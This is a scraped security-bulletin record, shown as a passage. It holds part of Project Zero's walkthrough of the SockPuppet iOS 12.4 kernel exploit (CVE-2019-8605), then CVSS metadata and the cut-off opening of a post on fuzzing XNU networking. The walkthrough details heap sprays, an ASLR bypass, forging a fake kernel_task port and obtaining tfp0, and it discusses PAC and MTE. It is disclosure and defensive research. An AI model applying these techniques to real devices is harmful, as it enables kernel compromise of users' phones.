name, such as the one returned by task_for_pid, you can send or receive a Mach message to that queue, depending on what rights you have to access it. The kernel_task is like any other task in Mach in that it exposes a task port.\n\n** \n**\n\nWhat\u2019s so great about getting access to the kernel task port? Just take a look at osfmk/mach/mach_vm.defs in the XNU sources. It has calls like mach_vm_allocate, mach_vm_deallocate, mach_vm_protect, and mach_vm_read_overwrite. If we have a send right to a task port, we can read, write, and allocate memory in that process. XNU supports this abstraction for the kernel_task, which means you can use this clean API to manipulate memory in the kernel\u2019s address space. I couldn\u2019t help but feel that every iPhone has this \u201ccheat\u201d menu inside of it, and you have to pass a serious test of your skills to unlock it. You can see why this is so appealing for exploitation, and why I was so excited to try to get ahold of it! Of course, we can\u2019t just call task_for_pid(0) from our unprivileged sandboxed app. But if we can implement this function call in terms of our memory corruption primitives, we\u2019ll be able to pretend we did!\n\n** \n**\n\nTo understand what we need to do to simulate a legitimate tfp0 call, let\u2019s look at how a message we send from our task to another task (perhaps kernel_task) actually looks, starting from the port name (file descriptor equivalent) in userland all the way to message delivery.\n\n** \n**\n\nLet\u2019s start by taking a look at the struct representing a message header:\n\n** \n**\n\ntypedef struct {\n\nmach_msg_bits_t msgh_bits; // \"disposition\", e.g. MACH_MSG_TYPE_COPY_SEND\n\nmach_msg_size_t msgh_size;\n\nmach_port_t msgh_remote_port; // destination port name\n\nmach_port_t msgh_local_port;\n\nmach_port_name_t msgh_voucher_port;\n\nmach_msg_id_t msgh_id;\n\n} mach_msg_header_t; \n \n--- \n \n** \n**\n\nI\u2019ve labeled the important fields above. msgh_remote_port contains the destination port name, which will be the kernel task port name if we have access to it. The msgh_bits specify a number of flags, one of them being the \u201cdisposition\u201d of the message we\u2019re sending for the different port names. If we have the send right to the kernel task port, for example, we\u2019ll set msgh_bits to tell the kernel to copy the send right we have in our IPC space to the message. If this sounds tricky, don\u2019t worry. The main thing to keep in mind is that we name the destination of the message in the header, and we also mark how we want to use the capability we have for it stored in our IPC namespace (mach file descriptor table).\n\n** \n**\n\nWhen we want to send a message from userland, we do a mach trap, the mach equivalent of a syscall, called mach_msg_overwrite_trap. Let\u2019s look at the MACH_SEND_MSG case and follow along, so we find out what we\u2019ll need to arrange in kernel memory for tfp0:\n\n** \n**\n\nmach_msg_return_t mach_msg_overwrite_trap(\n\nstruct mach_msg_overwrite_trap_args* args) {\n\n// ...\n\nmach_msg_return_t mr = MACH_MSG_SUCCESS;\n\nvm_map_t map = current_map();\n\n \n\n\nif (option & MACH_SEND_MSG) {\n\nipc_space_t space = current_space();\n\nipc_kmsg_t kmsg;\n\n \n\n\nmr = ipc_kmsg_get(msg_addr, send_size, &kmsg);\n\n// ...\n\nmr = ipc_kmsg_copyin(kmsg, space, map, override, &option);\n\n// ...\n\nmr = ipc_kmsg_send(kmsg, option, msg_timeout);\n\n// ... \n \n--- \n \n** \n**\n\nIf we want to deliver a message to the kernel task port, we just need to understand how ipc_kmsg_get, ipc_kmsg_copyin, and ipc_kmsg_send work. ipc_kmsg_get simply copies the message from the calling task\u2019s address space into kernel memory. ipc_kmsg_copyin actually does interesting work. Let\u2019s see how it ingests the message header through a call to ipc_kmsg_copyin_header.\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_copyin_header(ipc_kmsg_t kmsg, ipc_space_t space,\n\nmach_msg_priority_t override,\n\nmach_msg_option_t *optionp) {\n\nmach_msg_header_t *msg = kmsg->ikm_header;\n\nmach_msg_bits_t mbits = msg->msgh_bits & MACH_MSGH_BITS_USER;\n\nmach_port_name_t dest_name = CAST_MACH_PORT_TO_NAME(msg->msgh_remote_port);\n\nmach_port_name_t reply_name = CAST_MACH_PORT_TO_NAME(msg->msgh_local_port);\n\n \n\n\nmach_msg_type_name_t dest_type = MACH_MSGH_BITS_REMOTE(mbits);\n\nipc_object_t dest_port = IO_NULL;\n\nipc_port_t dest_soright = IP_NULL;\n\nipc_entry_t dest_entry = IE_NULL;\n\n \n\n\nif (dest_name != reply_name) {\n\n// nedwill: this converts name to ipc_entry_t\n\ndest_entry = ipc_entry_lookup(space, dest_name);\n\nif (dest_entry == IE_NULL) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// nedwill: this converts ipc_entry_t to ipc_port_t (and checks capability)\n\nkr = ipc_right_copyin(space, dest_name, dest_entry, dest_type, FALSE,\n\n&dest_port, &dest_soright, &release_port, &assertcnt);\n\nif (kr != KERN_SUCCESS) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// ...\n\n}\n\n \n\n\n// ...\n\nmsg->msgh_bits =\n\nMACH_MSGH_BITS_SET(dest_type, reply_type, voucher_type, mbits);\n\nmsg->msgh_remote_port = (ipc_port_t)dest_port;\n\n \n\n\n// ...\n\n} \n \n--- \n \n** \n**\n\nipc_kmsg_copyin_header serves to convert the remote port name into the port object, updating the msg->msgh_remote_port to point to the actual object instead of storing the task-specific name. This is the BSD/Linux equivalent of converting a file descriptor into the actual kernel structure that it refers to. The message header has several name fields, but I\u2019ve simplified the code to highlight the destination case, since we\u2019ll want the kernel_task port to be our destination port. The ipc_space_t space argument represents the IPC space for the current running task, which is the Mach equivalent of the file descriptor table. First, we lookup the dest_name in the IPC space to get the ipc_entry_t representing it. Every ipc_entry_t has a field called ie_bits which contains the permissions our task has to interact with the port in question. Here\u2019s what the IPC entry struct looks like:\n\n** \n**\n\nstruct ipc_entry {\n\nstruct ipc_object *ie_object; // pointer to the ipc_port_t\n\nipc_entry_bits_t ie_bits; // our rights (receive/send/send-once/etc.)\n\nmach_port_index_t ie_index;\n\n...\n\n}; \n \n--- \n \n** \n**\n\nRemember that the header of the message we sent has a \u201cdisposition\u201d for the destination which describes what we want our message to do with the capability we have for the remote port name. Here\u2019s where that actually gets validated and consumed:\n\n** \n**\n\nkern_return_t ipc_right_copyin(ipc_space_t space, mach_port_name_t name,\n\nipc_entry_t entry,\n\nmach_msg_type_name_t msgt_name, boolean_t deadok,\n\nipc_object_t *objectp, ipc_port_t *sorightp,\n\nipc_port_t *releasep, int *assertcntp) {\n\nipc_entry_bits_t bits;\n\nipc_port_t port;\n\n \n\n\n*releasep = IP_NULL;\n\n*assertcntp = 0;\n\n \n\n\nbits = entry->ie_bits;\n\n \n\n\nswitch (msgt_name) {\n\ncase MACH_MSG_TYPE_COPY_SEND: {\n\nif (bits & MACH_PORT_TYPE_DEAD_NAME) goto copy_dead;\n\n \n\n\n/* allow for dead send-once rights */\n\nif ((bits & MACH_PORT_TYPE_SEND_RIGHTS) == 0) goto invalid_right;\n\n \n\n\nport = (ipc_port_t)entry->ie_object;\n\n \n\n\nif ((bits & MACH_PORT_TYPE_SEND) == 0) {\n\nassert(IE_BITS_TYPE(bits) == MACH_PORT_TYPE_SEND_ONCE);\n\nassert(port->ip_sorights > 0);\n\n \n\n\nip_unlock(port);\n\ngoto invalid_right;\n\n}\n\n \n\n\nport->ip_srights++;\n\nip_reference(port);\n\nip_unlock(port);\n\n \n\n\n*objectp = (ipc_object_t)port;\n\n*sorightp = IP_NULL;\n\nbreak;\n\n}\n\n \n\n\ndefault:\n\ninvalid_right:\n\nreturn KERN_INVALID_RIGHT;\n\n}\n\n \n\n\nreturn KERN_SUCCESS;\n\n} \n \n--- \n \n** \n**\n\nHere, I\u2019ve reproduced the code for the MACH_MSG_TYPE_COPY_SEND case. You can see where ie_bits from the IPC entry is used to check the permission we have. If we want to take advantage of the send right in this message, we can copy the right to the message, and this code checks that we have the right in ie_bits before updating the relevant reference counts and finally giving us access to the port object to which we can enqueue messages. If we don\u2019t have the proper permissions according to entry->ie_bits, the attempt to send the message will fail.\n\n** \n**\n\nNow that our message is copied in, validated, and updated to contain real kernel object pointers, ipc_kmsg_send goes ahead and just adds our message to the destination queue:\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_send(ipc_kmsg_t kmsg, mach_msg_option_t option,\n\nmach_msg_timeout_t send_timeout) {\n\nipc_port_t port;\n\nthread_t th = current_thread();\n\nmach_msg_return_t error = MACH_MSG_SUCCESS;\n\nboolean_t kernel_reply = FALSE;\n\n \n\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n \n\n\nif (port->ip_receiver == ipc_space_kernel) {\n\nport->ip_messages.imq_seqno++;\n\nip_unlock(port);\n\n \n\n\nkmsg = ipc_kobject_server(kmsg, option);\n\nif (kmsg == IKM_NULL) return MACH_MSG_SUCCESS;\n\n \n\n\n/* restart the KMSG_INFO tracing for the reply message */\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n/* fall thru with reply - same options */\n\nkernel_reply = TRUE;\n\nif (!ip_active(port)) error = MACH_SEND_INVALID_DEST;\n\n}\n\n \n\n\nif (error != MACH_MSG_SUCCESS) {\n\nip_unlock(port);\n\n} else {\n\n// ...\n\nerror = ipc_mqueue_send(&port->ip_messages, kmsg, option, send_timeout);\n\n}\n\n// ...\n\nreturn error;\n\n} \n \n--- \n \n** \n**\n\nAs you can see above, if the destination port\u2019s ip_receiver is the kernel IPC space, ipc_kobject_server is called as a special case to handle the kernel message. The kernel task port has the kernel IPC space as its ip_receiver, so we\u2019ll make sure to replicate that when we are arranging for tfp0.\n\n** \n**\n\nWhew, that was a lot! Now that we see the essentials behind message sending, we are ready to envision our goal state, i.e., how we want kernel memory to look as if we had called tfp0 successfully. We\u2019ll want to add an IPC entry to our IPC space, with ie_object pointing to the kernel task port, and ie_bits indicating that we have a send right. Here\u2019s how this looks:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgendYjwtKngXi7lho6rG3cXEnHVqkesInTnD78bdpU54MD5UM6RWF-D81j7KT4_QSsqLs_GOPqd6JMebn3zc2jmfyIHZ4Am0FfINmnM9FtZamw9xnEiJ5zN8FD92HBPgEiFSV2zREoZhbkDDrdMOVJNJj8TwCbbWti6dTzis5_qGupLhwZbvUmKaYv/s1074/2-2.png>)\n\nThe green nodes above represent all the data structures that are part of our current task which is running the exploit. The blue node is a fake IPC port that we\u2019ll set up to point to the kernel task and the kernel task\u2019s IPC table. Remember the ie_bits field specifies the permissions we have to interact with the ie_object, so we\u2019ll want to make sure we have a send right to it specified there.\n\n## Defeating ASLR and faking data structures\n\nIPC systems generally need a way to serialize file descriptors and send them over a pipe, and the kernel needs to understand this convention to do the proper accounting. Mach is no exception. Mach ports, like file descriptors, can be sent by one process to another with send rights attached. You can send an out of line port from one process to another using a special message that contains a mach_msg_ool_descriptor_t. If you\u2019d like to send multiple ports in a single message, you can send mach_msg_ool_ports_descriptor_t, an array of ports stored out of line (OOL), meaning outside of the message header itself. We, like many others, will be using the OOL ports descriptor in our exploit.\n\n** \n**\n\nWhat makes the OOL ports array so useful is that you completely control the size of the array. When you pass in an array of mach port names, the kernel will allocate space for an arbitrary number of pointers, each of which is filled with a pointer to the ipc_port structure that we want to send. In case you didn\u2019t notice, we can use this trick as an ASLR bypass as we can overlap an OOL descriptor array of port pointers with the freed buffer of size 192, and simply read the two adjacent int fields from the freed struct via getsockopt. At this point we can start to traverse the kernel data structures with our arbitrary read.\n\n** \n**\n\nMany exploits turn a corruption bug into a read primitive. We have the rare privilege of having a reliable read primitive before we do any corruption, so we use that combined with this pointer disclosure to leak all the relevant pointers to complete the exploit, including setting up crafted data at a known address. We go ahead and do all the necessary traversal now as you can see below.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv7eSfgAfici4UTIIpB7JRQwTJeTFzLV0eZdcgZwXreLmIDKk1AyZ3K1_DGejF8nh8UrFMZG-WB1X4Jam5JJSNpOkQJdyWhXgvrXGSBUqHPYRGlyAr3BL3OUphLnlZkQMhINtMKzW1-FZ524XwQqJo0HSHdpEfouUXVc--_2SM67wnNCejs2sxCk6R/s714/3-3.png>)\n\nThe green nodes above represent the seed values for our exploration, and the orange nodes represent the values we\u2019re trying to find. By spraying a message with an OOL port descriptor array containing pointers to ipc_port structs representing our host port, we find its ipc_port which will give us ipc_space_kernel via the receiver field.\n\n** \n**\n\nWe repeat the same initial trick to find the ipc_port for our own task. From there we find our task\u2019s file descriptor table and use this to find a vtable for socket options and a pipe buffer. The vtable will give us pointers into the kernelcache binary. Because the kernel process\u2019s BSD representation kernproc is allocated globally in bsd/kern/bsd_init.c, we can use a known offset from the socketops table to find it and lookup the address of kernel_task.\n\n** \n**\n\nThe pipe buffer is created by a call to the pipe() syscall, and it allocates a buffer that we can write to and read from via a file descriptor. This is a well known trick for getting known data at a known address. In order to make the fake ipc_port that we\u2019ll inject into our IPC space, we create a pipe and send data to it. The pipe stores queued data into a buffer on the kernel heap, allocated via the generic size-based zones. We can read and write to that buffer repeatedly from userspace by reading and writing to the relevant pipe file descriptors, and that data is stored in kernel memory. By knowing the address of the buffer for our pipe, we can store controlled data there and create pointers to it. We\u2019ll need that to make a crafted ipc_port for the kernel task.\n\n** \n**\n\nSo we can now create our fake ipc_port and point it to the kernel_task and the ipc_space_kernel, right? I should point out now that even if we could call task_for_pid(0) and obtain a kernel_task port, we wouldn\u2019t be able to send messages to it. Any userland task that tries to send a message to the kernel_task will be blocked from doing so when the kernel turns an ipc_port for a task into the task struct. This is implemented in task_conversion_eval:\n\n** \n**\n\nkern_return_t\n\ntask_conversion_eval(task_t caller, task_t victim)\n\n{\n\n/*\n\n* Tasks are allowed to resolve their own task ports, and the kernel is\n\n* allowed to resolve anyone's task port.\n\n*/\n\nif (caller == kernel_task) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\nif (caller == victim) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\n/*\n\n* Only the kernel can can resolve the kernel's task port. We've established\n\n* by this point that the caller is not kernel_task.\n\n*/\n\nif (victim == TASK_NULL || victim == kernel_task) {\n\nreturn KERN_INVALID_SECURITY;\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nI use the trick that many others have used, and simply created a copy of the kernel_task object so the pointer comparison they use won\u2019t detect that I\u2019m sending a message to the fake kernel_task object. It doesn\u2019t matter that it\u2019s not the real kernel_task because it\u2019s simple to support the mach_vm_* functions with a fake kernel_task; we simply need to copy the kernel\u2019s kernel_map and initialize a few other fields. You can see in the diagram above that we can simply pull that from the kernel_task, whose address we already know. We\u2019ll store the fake kernel task adjacent to our fake ipc_port in the pipe buffer. For an example of this approach being used in the wild, see [this exploit writeup](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>) from Ian Beer on the team.\n\n## Injecting our kernel_task port\n\nWe\u2019re now going to use the OOL port descriptor array for another purpose. We send a message to ourselves containing an OOL array containing copies of our task port name, which we have the send right to. The send right validation happens initially when the message is sent, so if we edit the array while it\u2019s waiting to be delivered, we can overwrite one of the ipc_ports to point to our fake kernel_task ipc_port. This trick is adapted from Stefan Esser\u2019s excellent [presentation](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>) on the subject, and has been used in several exploits. Note that an ipc_port has no notion itself of a send or receive right; those rights are tracked as part of the ipc_entry and are handled outside of the ipc_port. This makes sense, because a port encapsulates a given message queue. The rights to send or receive to that queue are specific to each process, so we can see why that information is stored in each process\u2019s table independently.\n\n** \n**\n\nEven though this trick of overwriting a pointer in an OOL port descriptor array is a known exploit technique, it\u2019s up to the exploit developer to figure out how to actually make this corruption happen. We have an arbitrary read and arbitrary free. OOL port descriptor arrays and pipe buffers are allocated out of the global zone. We can combine these facts! Earlier we noted down the address of our pipe buffer. So we just free the pipe buffer\u2019s actual buffer address and spray OOL port descriptor arrays. We then read the pipe buffer looking for our task\u2019s ipc_port, overwriting it with the pointer to our fake port. Then we deliver the message to ourselves and check whether we managed to inject the fake kernel task port.\n\n** \n**\n\nAt this point, we have tfp0. Like voucher_swap and other exploits, we want to use this temporary tfp0 using pipe buffer structures to bootstrap a more stable tfp0. We do this by using the kernel task port to allocate a page of kernel memory dedicated to storing our data, and then using the write primitive to write our fake task port and kernel_task there. We then change our IPC space entry to point to this new ipc_port.\n\n** \n**\n\nWe still have a pipe structure with a dangling pointer to a freed buffer. We don\u2019t want it to double-free when we close the fd, so we use our new stable tfp0 powers to null out that pointer. We essentially did two actions to corrupt memory: free that pointer, and use the new use-after-free pipe buffer to overwrite a single ipc_port pointer, so keeping track of cleanup is fairly straightforward.\n\n** \n**\n\nIf you want to read and test the exploit yourself, you can grab it [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## Evaluating PAC and MTE\n\nBecause this exploit is based on a memory corruption bug, there\u2019s a lingering question of how it is affected by different mitigations. With the A12 chip, Apple brought PAC (Pointer Authentication) to iOS, which appears to be designed to limit kernel code execution assuming arbitrary kernel read/write among other goals. This sounds like a pretty strong mitigation, and without any real experience I wasn\u2019t sure how exploitation would fare. I was testing on an A9 chip, so I just hoped I wouldn\u2019t do anything in my exploit that would turn out to be mitigated by PAC. This was the case. Because my exploit only targeted data structures and did not involve arbitrary code execution, there were no code pointers to forge.\n\n** \n**\n\niOS 13 is beginning to introduce protections for some data pointers, so it is worthwhile to examine which pointers I would need to forge for this exploit to have worked in the context of data PAC. PAC protects return addresses on the stack from corruption by signing them with a private key and the location of the pointer itself on the stack as a context value. However, other code pointers are signed without a context value. Similarly, the effectiveness of data PAC will likely depend on how Apple chooses to use context values.\n\n** \n**\n\nLet\u2019s consider the situation where all data pointers are protected but not signed with a context based on location. In this scenario we can copy them from one location to another so long as we manage to leak them. This is better known as a \u201cpointer substitution attack,\u201d and has been described by Brandon in his [blog post about PAC](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>).\n\n** \n**\n\nOur read primitive remains effective in the context of data PAC since our dangling pointer is still signed. There are several attacker-sourced pointers we ultimately need to either forge or substitute: ipc_space_kernel, kernel_map, &fake_port, and &fake_task, along with all the intermediate reads needed to find them. Recall that the &fake_port and &fake_task are pointers to pipe buffers. For our initial entrypoint, It doesn\u2019t matter if the pktinfo pointer is protected, because we have to leak a real ipc_port pointer anyways via the OOL ports spray. This means we can collect a signed ipc_port, and do all of the up front data structure traversals we do already, copying the PAC data pointers without a problem. ipc_space_kernel and kernel_map are already signed, and if pipe buffers are signed we can simply split the fake port and task across two pipe buffers and obtain a signed pointer to each buffer. In any case, the exploit would not work completely out of the box, because we do forge a pointer into the file descriptor table to lookup arbitrary fd structures and some lookups may require reading more than 20 bytes of data. However, I\u2019m confident that the read primitive is powerful enough to work around these gaps without significant effort.\n\n** \n**\n\nIn practice iOS 13 only protects some data pointers, which paradoxically might improve end user security. For example, if pipe buffers are unprotected, simply leaking the address of one is unlikely to let us use that pointer to represent a fake ipc_port if pointers to ports are signed. An examination of the kernel cache for 17B5068e revealed that IPC port pointers are indeed not protected, but I do think they plan to do so (or already do so in non-beta builds) according to Apple\u2019s BlackHat talk earlier this year. Like any mitigation combined with a bug providing strong initial primitives, it\u2019s just a matter of designing alternative exploit techniques. Without considering the whack-a-mole of which pointers should be protected or unprotected, I\u2019m hoping that in the future, as many pointers as possible are signed with the location as a context to help mitigate the effect of pointer substitution attacks. As we can see from our thought experiment, there isn\u2019t much to be gained with a good use-after-free based read primitive if data pointers are simply signed with a context of 0.\n\n** \n**\n\nThe other mitigation to consider is the Memory Tagging Extension (MTE) for ARM, an upcoming CPU feature that I believe that Apple will try to implement. There\u2019s a nice high level summary for this mitigation [here](<https://security.googleblog.com/2019/08/adopting-arm-memory-tagging-extension.html>) and [here](<https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/enhancing-memory-safety>). In essence, memory allocations will be assigned a random tag by the memory allocator that will be part of the upper unused bits of the pointer, like in PAC. The correct tag value will be stored out of line, similar to how ASAN stores heap metadata out of line. When the processor goes to dereference the pointer, it will check if the tag matches. This vulnerability would have been mitigated by MTE, because we trigger the use after free many times in the exploit, and every time the freed pointer would be accessed, its tag would be compared against the new tag for the freed range or that of whichever allocation reclaimed the buffer. Depending on what the CPU or kernel is configured to do when a mismatching tag is identified will affect how an exploit will proceed. I would expect that Apple [configure either a synchronous or asynchronous exception](<https://developer.arm.com/docs/ddi0595/b/aarch64-system-registers/sctlr_el3#TCF>) to occur during tag check failure, considering they make an effort to trigger data aborts for PAC violations according to [their LLVM documentation for PAC](<https://github.com/apple/llvm-project/blob/a63a81bd9911f87a0b5dcd5bdd7ccdda7124af87/clang/docs/PointerAuthentication.rst#basic-concepts>): \u201cWhile ARMv8.3's aut* instructions do not themselves trap on failure, the compiler only ever emits them in sequences that will trap.\u201d\n\n** \n**\n\nUsing corrupted code pointers forged by an attacker is a rare occurrence, but invalid heap accesses happen very often in real code. I suspect many bugs will be identified using MTE, and look forward to seeing its use in the iPhone. If it is combined with the current PAC implementation, it will be a huge boost to security for end users.\n\n## The iOS Exploit Meta\n\nI found it interesting to see which techniques I used are part of the iOS exploit \u201cmeta,\u201d that is, the tricks that are used often in public exploits and those seen in the wild. These were all the techniques I came across and how and if I incorporated them into the exploit. As mentioned earlier, for the closest publicly documented variant of the approach I used, see Stefan Esser\u2019s presentation [on the topic](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>), which seems to be the first to use this basket of techniques.\n\n** \n**\n\nSummary\n\n| \n\nBenefit\n\n| \n\nUsed? \n \n---|---|--- \n \nIOSurface subsystem\n\n| \n\nSpray arbitrary data of controlled contents and size in kernel address space\n\n| \n\nYes \n \nOOL port descriptor array\n\n| \n\nSpray arbitrary multiple of 8 array containing pointers to ipc_ports with send right\n\n| \n\nYes \n \nPipe buffers\n\n| \n\nRepeatable read/write from userland of malloced buffer without needing sprays\n\n| \n\nYes \n \nLooking around the host port for other early ports\n\n| \n\nFind the kernel task port\n\n| \n\nYes, SockPuppetV1, replaced with my own variant later \n \nCopying kernel_task task port to a new address\n\n| \n\nBypass kernel_task task port check for messages coming from a user task\n\n| \n\nYes \n \nCreating a fake task port pointing to an arbitrary \u201ctask\u201d and reading its PID\n\n| \n\nRepeatable arbitrary read\n\n| \n\nNo, already had arbitrary read directly via first stage \n \nTriggering zone allocator garbage collection\n\n| \n\nReclaim an object from one zone with an object from another\n\n| \n\nNo, all relevant objects were already in the generic size-based zones \n \n## A bug\u2019s life\n\nWhen testing my exploit on older phones, I noticed that my 32-bit iPhone 5 was still running iOS 9.2. Out of curiosity I tested the highly exploitable disconnectx PoC that permits corrupting memory via the freed buffer and was shocked to see that the PoC worked right away. The kernel panicked when accessing freed memory (0xDEADBEEF was present in one of the registers when the crash occurred). After some more testing, I found that the PoC worked on the first XNU version where disconnectx was introduced: the Mavericks kernel included with the release of macOS 10.9.0. The iOS 7 beta 1 kernel came soon after Mavericks, so it\u2019s likely that iOS 7 beta 1 until iOS 12.2/12.4 was affected by this bug. September 18, 2013 was the official release date of iOS 7, so it appears that macOS and iOS users were broadly affected by this vulnerability for over 5 years.\n\n# Conclusion\n\nIt is somewhat surprising that a bug with such a strong initial primitive was present in iOS for as long as it was. I had been following public iOS security research since the iPhone\u2019s inception and it wasn\u2019t until recently that I realized I might be capable of finding a bug in the kernel myself. When I read exploit writeups during the iOS 7 era, I saw that there were large chains of logic bugs combined with memory corruption. But I knew from my work on Chrome that fuzzing tools have become so effective recently that memory corruption bugs in attack surfaces that were thought to be well audited could be discovered again. We can see that this is true for iOS (as much as it is for other platforms like Chrome that were thought to be very difficult to break), that single bugs that are sufficient for privilege escalation existed even during the time when large chains were used. Attacker-side memory corruption research is too easy now: we need MTE or other dynamic checks to start making a dent in this problem.\n\n** \n**\n\nI\u2019d like to give credit to @_bazad for his patience with my questions about Mach. SockPuppet was heavily inspired by his voucher_swap exploit, which was in turn inspired by many exploit techniques that came before it. It is really a testament to the strength of some exploitation tricks that they appear in so many exploits. With PAC protection for key data pointers, we may see the meta shift again as the dominant approach of injecting fake task ports is on Apple\u2019s radar, and mitigations against it are arriving.\n\n \n\n\nFinally, if Apple made XNU sources available more often, ideally per-commit, I could have automated merging my fuzzer against the sources and we could have caught the iOS 12.4 regression immediately. Chromium and OSS-Fuzz already have success with this model. A fuzzer I submitted to Chrome\u2019s [fuzzer program](<https://www.google.com/about/appsecurity/chrome-rewards/#fuzzerprogram>) that only found 3 bugs initially, has now found [95 stability and security regressions](<https://bugs.chromium.org/p/chromium/issues/list?q=net_quic_stream_factory_fuzzer%20-status%3AWontFix%20-status%3ADuplicate%20&can=1>) since submission. By opening the sources more frequently to the public, we have the opportunity to catch, by an order of magnitude, more critical bugs before they even make it to beta.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-10T00:00:00", "type": "googleprojectzero", "title": "\nSockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2019-12-10T00:00:00", "id": "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "href": "https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:40", "description": "Posted by Ned Williamson, Project Zero\n\nIntroduction\n\nWhen I started my 20% project \u2013 an initiative where employees are allocated twenty-percent of their paid work time to pursue personal projects \u2013 with Project Zero, I wanted to see if I could apply the techniques I had learned fuzzing Chrome to XNU, the kernel used in iOS and macOS. My interest was sparked after learning some prominent members of the iOS research community believed the kernel was \u201cfuzzed to death,\u201d and my understanding was that most of the top researchers used auditing for vulnerability research. This meant finding new bugs with fuzzing would be meaningful in demonstrating the value of implementing newer fuzzing techniques. In this project, I pursued a somewhat unusual approach to fuzz XNU networking in userland by converting it into a library, \u201cbooting\u201d it in userspace and using my standard fuzzing workflow to discover vulnerabilities. Somewhat surprisingly, this worked well enough to reproduce some of my peers\u2019 recent discoveries and report some of my own, one of which was a reliable privilege escalation from the app context, CVE-2019-8605, dubbed \u201cSockPuppet.\u201d I\u2019m excited to open source this fuzzing project, \u201csockfuzzer,\u201d for the community to learn from and adapt. In this post, we\u2019ll do a deep dive into its design and implementation.\n\nAttack Surface Review and Target Planning\n\n# Choosing Networking\n\nWe\u2019re at the beginning of a multistage project. I had enormous respect for the difficulty of the task ahead of me. I knew I would need to be careful investing time at each stage of the process, constantly looking for evidence that I needed to change direction. The first big decision was to decide what exactly we wanted to target.\n\nI started by downloading the [XNU sources](<https://opensource.apple.com/tarballs/xnu/>) and reviewing them, looking for areas that handled a lot of attacker-controlled input and seemed amenable to fuzzing \u2013 immediately the networking subsystem jumped out as worthy of research. I had just exploited a Chrome sandbox bug that leveraged collaboration between an exploited renderer process and a server working in concert. I recognized these attack surfaces\u2019 power, where some security-critical code is \u201csandwiched\u201d between two attacker-controlled entities. The Chrome browser process is prone to use after free vulnerabilities due to the difficulty of managing state for large APIs, and I suspected XNU would have the same issue. Networking features both parsing and state management. I figured that even if others had already fuzzed the parsers extensively, there could still be use after free vulnerabilities lying dormant.\n\nI then proceeded to look at recent bug reports. Two bugs that caught my eye: the [mptcp overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) discovered by Ian Beer and the ICMP [out of bounds write](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407>) found by Kevin Backhouse. Both of these are somewhat \u201cstraightforward\u201d buffer overflows. The bugs\u2019 simplicity hinted that kernel networking, even packet parsing, was sufficiently undertested. A fuzzer combining network syscalls and arbitrary remote packets should be large enough in scope to reproduce these issues and find new ones.\n\nDigging deeper, I wanted to understand how to reach these bugs in practice. By cross-referencing the functions and setting kernel breakpoints in a VM, I managed to get a more concrete idea. Here\u2019s the call stack for Ian\u2019s MPTCP bug:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixaqhrlPJxgqVridccvdElpi6yxaoJCSUXDp5q8hm_F66e5WHW3NRaFwmy-OWQvCKz661k3LEfi4A4r2sa1LkgMb8pu8CEVjKbzTkblc8SZZYcOsKkw7u0uG2qo5KzCdjbxixJ-CplQI2nohuVE1_t07PiNW-xRxnW-3e4WtILcCE6CoYjbN1D6UPi/s623/image3%282%29.png>)\n\nThe buggy function in question is mptcp_usr_connectx. Moving up the call stack, we find the connectx syscall, which we see in Ian\u2019s original testcase. If we were to write a fuzzer to find this bug, how would we do it? Ultimately, whatever we do has to both find the bug and give us the information we need to reproduce it on the real kernel. Calling mptcp_usr_connectx directly should surely find the bug, but this seems like the wrong idea because it takes a lot of arguments. Modeling a fuzzer well enough to call this function directly in a way representative of the real code is no easier than auditing the code in the first place, so we\u2019ve not made things any easier by writing a targeted fuzzer. It\u2019s also wasted effort to write a target for each function this small. On the other hand, the further up the call stack we go, the more complexity we may have to support and the less chance we have of landing on the bug. If I were trying to unit test the networking stack, I would probably avoid the syscall layer and call the intermediate helper functions as a middle ground. This is exactly what I tried in the first draft of the fuzzer; I used 